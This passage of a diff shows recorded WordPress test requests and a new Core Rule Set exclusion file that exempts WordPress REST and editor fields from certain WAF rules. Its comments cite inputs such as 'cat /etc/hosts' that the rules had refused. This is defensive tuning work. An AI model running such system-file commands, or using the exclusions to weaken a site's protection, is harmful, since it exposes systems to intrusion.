AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: f6c0bd81d0", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": ""} +{"method": "GET", "target": "/wp-json/wp-block-editor/v1/url-details?url=http%3A%2F%2Fblog.example%2Fpython3%2F&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: f6c0bd81d0", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": ""} +{"method": "GET", "target": "/wp-json/oembed/1.0/proxy?url=http%3A%2F%2Fblog.example%2Fpython3%2F&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: f6c0bd81d0", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": ""} +{"method": "GET", "target": "/wp-json/wp-block-editor/v1/url-details?url=http%3A%2F%2Fblog.example%2Fpowershell-basics%2F&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: f6c0bd81d0", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": ""} +{"method": "GET", "target": "/wp-json/oembed/1.0/proxy?url=http%3A%2F%2Fblog.example%2Fpowershell-basics%2F&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: f6c0bd81d0", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": ""} +{"method": "GET", "target": "/wp-json/wp-block-editor/v1/url-details?url=http%3A%2F%2Fblog.example%2Fls-la%2F&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: f6c0bd81d0", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": ""} +{"method": "GET", "target": "/wp-json/oembed/1.0/proxy?url=http%3A%2F%2Fblog.example%2Fls-la%2F&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: f6c0bd81d0", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": ""} +{"method": "GET", "target": "/wp-json/wp-block-editor/v1/url-details?url=http%3A%2F%2Fblog.example%2F.htaccess&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: f6c0bd81d0", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": ""} +{"method": "GET", "target": "/wp-json/oembed/1.0/proxy?url=http%3A%2F%2Fblog.example%2F.htaccess&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: f6c0bd81d0", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": ""} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 134", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251855"], "body": "slug=hello-dolly&action=install-plugin&_ajax_nonce=61c8a7b528&_fs_nonce=&username=&password=&connection_type=&public_key=&private_key="} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 130", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251855"], "body": "slug=python3&action=install-plugin&_ajax_nonce=61c8a7b528&_fs_nonce=&username=&password=&connection_type=&public_key=&private_key="} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 133", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251855"], "body": "slug=powershell&action=install-plugin&_ajax_nonce=61c8a7b528&_fs_nonce=&username=&password=&connection_type=&public_key=&private_key="} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 136", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251855"], "body": "slug=docker-helper&action=install-plugin&_ajax_nonce=61c8a7b528&_fs_nonce=&username=&password=&connection_type=&public_key=&private_key="} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 131", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251855"], "body": "slug=htaccess&action=install-plugin&_ajax_nonce=61c8a7b528&_fs_nonce=&username=&password=&connection_type=&public_key=&private_key="} +{"method": "POST", "target": "/wp-comments-post.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 169", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/htaccess/", "Accept-Encoding: gzip, deflate"], "body": "comment=Thanks%2C+this+helped.+Note+0.&author=Ann+Example&email=ann%40example.com&url=http%3A%2F%2Fblog.example%2F&submit=Post+Comment&comment_post_ID=1&comment_parent=0"} +{"method": "POST", "target": "/wp-comments-post.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 172", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/htaccess/", "Accept-Encoding: gzip, deflate"], "body": "comment=Thanks%2C+this+helped.+Note+1.&author=Ann+Example&email=ann%40example.com&url=http%3A%2F%2Fpython3.example%2F&submit=Post+Comment&comment_post_ID=1&comment_parent=0"} +{"method": "POST", "target": "/wp-comments-post.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 189", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/htaccess/", "Accept-Encoding: gzip, deflate"], "body": "comment=Thanks%2C+this+helped.+Note+2.&author=Ann+Example&email=ann%40example.com&url=http%3A%2F%2Fblog.example%2Fpowershell-basics%2F&submit=Post+Comment&comment_post_ID=1&comment_parent=0"} +{"method": "POST", "target": "/wp-comments-post.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 178", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/htaccess/", "Accept-Encoding: gzip, deflate"], "body": "comment=Thanks%2C+this+helped.+Note+3.&author=Ann+Example&email=ann%40example.com&url=http%3A%2F%2Fblog.example%2Fls+-la%2F&submit=Post+Comment&comment_post_ID=1&comment_parent=0"} +{"method": "POST", "target": "/wp-comments-post.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 178", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/htaccess/", "Accept-Encoding: gzip, deflate"], "body": "comment=Thanks%2C+this+helped.+Note+4.&author=Ann+Example&email=ann%40example.com&url=http%3A%2F%2Fblog.example%2F.htaccess&submit=Post+Comment&comment_post_ID=1&comment_parent=0"} diff --git a/internal/coreruleset/wordpress.conf b/internal/coreruleset/wordpress.conf new file mode 100644 index 0000000..da98bab --- /dev/null +++ b/internal/coreruleset/wordpress.conf @@ -0,0 +1,197 @@ +# The ninth change: on WordPress's paths, some fields skip the rules that refused +# ordinary WordPress requests there. Each exclusion runs with the request, before +# the rules it switches off, so this file is loaded before the Core Rule Set's +# rules. Each comment names a request the rule refused. An exclusion on a field +# of a body applies only when the query has no parameter of that name, so it +# matters only while SWW_WAF_BODY_LIMIT is set. + +# WordPress takes a call to its REST API at any of four addresses: +# /wp-json/wp/v2/posts/1 +# /index.php/wp-json/wp/v2/posts/1 +# /index.php?rest_route=/wp/v2/posts/1 +# /?rest_route=/wp/v2/posts/1 +# These two rules put the route, here /wp/v2/posts/1, in tx.rest_route for the +# exclusions below. A call that names a route in both its path and its query +# gets none of them, since WordPress follows the query. +SecRule &ARGS_GET:rest_route "@eq 0" "id:900705,phase:1,pass,nolog,chain" + SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?wp-json(/.*)$" \ + "capture,setvar:tx.rest_route=%{tx.1}" +SecRule REQUEST_FILENAME "@rx ^/(?:index\.php)?$" "id:900706,phase:1,pass,nolog,chain" + SecRule ARGS_GET:rest_route "@rx ^(/.*)$" "capture,setvar:tx.rest_route=%{tx.1}" + +# The block editor saves a post with POST and the header X-HTTP-Method-Override: +# PUT, which the Core Rule Set refused (920450). So does saving a user's editor +# preferences. +SecRule TX:rest_route "@beginsWith /" \ + "id:900700,phase:1,pass,nolog,\ + ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:X-HTTP-Method-Override" + +# The block editor and the site editor send HTML in the JSON field content, which +# skips these rules when saving or autosaving a post, a page, a template or a +# template part: +# 930120: cat /etc/hosts +# 932230: a code block with a shell pipeline and an SQL query +# 932250: the same code block +# 934100: console.log('ok') +# 941100: